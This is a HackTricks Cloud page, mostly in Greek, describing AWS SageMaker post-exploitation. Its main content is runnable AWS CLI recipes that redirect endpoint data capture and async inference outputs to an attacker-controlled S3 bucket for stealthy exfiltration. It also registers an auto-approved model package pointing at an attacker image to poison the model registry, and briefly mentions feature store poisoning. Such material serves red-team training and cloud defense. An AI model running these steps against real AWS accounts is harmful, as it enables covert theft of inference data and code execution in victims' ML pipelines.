AWS - SageMaker Post-Exploitation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Καταχρήση της διαχείρισης SageMaker endpoint για να ενεργοποιηθεί πλήρης καταγραφή request/response σε ένα S3 bucket που ελέγχεται από attacker χωρίς να αγγίξετε το model ή το container. Χρησιμοποιεί zero/low‑downtime rolling update και απαιτεί μόνο δικαιώματα διαχείρισης endpoint.
Απαιτήσεις
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(ή χρησιμοποιήστε ένα υπάρχον bucket στον ίδιο account) - Προαιρετικά (αν χρησιμοποιείται SSE‑KMS):
kms:Encryptστο επιλεγμένο CMK - Στόχος: Ένα υπάρχον InService real‑time endpoint στον ίδιο account/region
Βήματα
- Εντοπίστε ένα InService endpoint και συλλέξτε τα τρέχοντα production variants
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Προετοιμάστε τον S3 προορισμό του attacker για καταγραφές
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Δημιουργήστε ένα νέο EndpointConfig που διατηρεί τις ίδιες παραλλαγές αλλά ενεργοποιεί το DataCapture στο attacker bucket
Note: Χρησιμοποιήστε ρητούς τύπους περιεχομένου που ικανοποιούν την επικύρωση του CLI.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Εφαρμόστε τη νέα config με rolling update (minimal/no downtime)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Δημιουργήστε τουλάχιστον μία κλήση inference (προαιρετικό αν υπάρχει ζωντανή κίνηση)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Επαληθεύστε captures στο attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Επιπτώσεις
- Πλήρης exfiltration των payloads των αιτήσεων και απαντήσεων inference σε πραγματικό χρόνο (και των metadata) από το στοχευμένο endpoint σε S3 bucket ελεγχόμενο από τον επιτιθέμενο.
- Χωρίς αλλαγές στο model/container image και μόνο αλλαγές σε επίπεδο endpoint, επιτρέποντας μια stealthy data theft path με ελάχιστη operational διαταραχή.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Καταχραστείτε τη διαχείριση του endpoint για να ανακατευθύνετε τα asynchronous inference outputs σε S3 bucket ελεγχόμενο από τον επιτιθέμενο, κλωνώντας το τρέχον EndpointConfig και ορίζοντας AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Αυτό exfiltrates τις προβλέψεις του model (και οποιαδήποτε μετασχηματισμένα inputs που περιλαμβάνονται από το container) χωρίς να τροποποιήσετε το model/container.
Απαιτήσεις
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Δυνατότητα εγγραφής στο attacker S3 bucket (μέσω του model execution role ή μιας permissive bucket policy)
- Στόχος: Ένα InService endpoint όπου asynchronous invocations χρησιμοποιούνται (ή θα χρησιμοποιηθούν)
Βήματα
- Συλλέξτε τα τρέχοντα ProductionVariants από το στοχευμένο endpoint
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Δημιουργήστε έναν attacker bucket (βεβαιωθείτε ότι ο ρόλος εκτέλεσης του μοντέλου μπορεί να κάνει PutObject σε αυτόν)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Κλωνοποίηση EndpointConfig και hijack των εξόδων του AsyncInference στο attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Ενεργοποιήστε μια ασύγχρονη κλήση (async invocation) και επιβεβαιώστε ότι τα αντικείμενα προσγειώνονται στο attacker S3
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Impact
- Αναδρομολογεί τα ασύγχρονα αποτελέσματα inference (και τα error bodies) σε attacker-controlled S3, επιτρέποντας μυστική εξαγωγή των predictions και πιθανώς ευαίσθητων pre/post-processed inputs που παράγονται από το container, χωρίς να αλλάξει το model code or image και με ελάχιστο/καθόλου downtime.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Αν ένας επιτιθέμενος μπορεί να εκτελέσει CreateModelPackage σε έναν στοχευόμενο SageMaker Model Package Group, μπορεί να καταχωρήσει μια νέα έκδοση μοντέλου που δείχνει σε attacker-controlled container image και να τη σηματοδοτήσει αμέσως ως Approved. Πολλά CI/CD pipelines αυτο-αναπτύσσουν Approved εκδόσεις μοντέλων σε endpoints ή training jobs, οδηγώντας σε attacker code execution υπό τα execution roles της υπηρεσίας. Η έκθεση μεταξύ λογαριασμών μπορεί να ενισχυθεί από μια permissive ModelPackageGroup resource policy.
Requirements
- IAM (minimum to poison an existing group):
sagemaker:CreateModelPackageon the target ModelPackageGroup - Optional (to create a group if one doesn’t exist):
sagemaker:CreateModelPackageGroup - S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
- Target: A Model Package Group that downstream automation watches for Approved versions
Steps
- Ορίστε την περιοχή και δημιουργήστε/βρείτε έναν στοχευόμενο Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Προετοιμάστε παραδειγματικά δεδομένα μοντέλου στο S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Καταχωρήστε μια κακόβουλη (εδώ ακίνδυνη) Approved model package version που αναφέρεται σε δημόσια AWS DLC image
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Επαληθεύστε ότι υπάρχει η νέα εγκεκριμένη έκδοση
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Επιπτώσεις
- Poison the Model Registry με μια Approved έκδοση που αναφέρεται σε attacker-controlled code. Τα Pipelines που auto-deploy Approved models μπορεί να pull και να run την attacker image, προκαλώντας code execution υπό endpoint/training roles.
- Με μια permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy), αυτή η κατάχρηση μπορεί να ενεργοποιηθεί cross-account.
Feature store poisoning
Κατάχρηση sagemaker:PutRecord σε ένα Feature Group με ενεργοποιημένο OnlineStore για να αντικαταστήσει live τιμές feature που καταναλώνονται από online inference. Σε συνδυασμό με sagemaker:GetRecord, ένας attacker μπορεί να διαβάσει ευαίσθητα features. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints.
{{#ref}} feature-store-poisoning.md {{/ref}}
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

